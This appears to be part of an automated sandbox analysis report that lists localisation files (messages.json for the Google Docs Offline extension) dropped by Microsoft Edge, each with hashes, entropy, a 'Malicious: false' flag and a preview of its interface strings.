Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
